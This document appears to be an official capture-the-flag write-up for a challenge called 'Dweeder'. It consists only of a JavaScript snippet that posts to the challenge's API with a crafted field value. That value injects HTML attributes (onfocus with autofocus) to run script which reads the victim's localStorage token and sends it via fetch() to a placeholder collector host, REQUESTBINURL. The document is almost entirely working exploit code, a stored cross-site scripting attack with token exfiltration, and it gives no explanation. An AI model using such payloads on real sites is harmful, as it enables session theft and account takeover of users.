Official writeup for Dweeder:

```js
let body = new URLSearchParams();
body.append("token", "eyJleHBpcnkiOm51bGwsImNvbnRlbnQiOnsibmFtZSI6Ik5hZGF2IiwiaGFuZGxlIjoibmFkaSJ9fQ==:gCXiuuWeIQhO33UOZ02Z6iH5ojZ9WXP/IJBRCWSphvc=");
body.append("title", "Hello");
body.append("contents", "Hello @shuky");
body.append("id", "${more}");
body.append("more", "';\" tabindex=1 onfocus=\"fetch('REQUESTBINURL/?'+localStorage.getItem('token'))\" autofocus \"");

let result = await fetch("https://dweeder.ctf.kaf.sh/apis/dweeder/?writeDweed", {
method: "post",
body: body
});

console.log(await result.text());```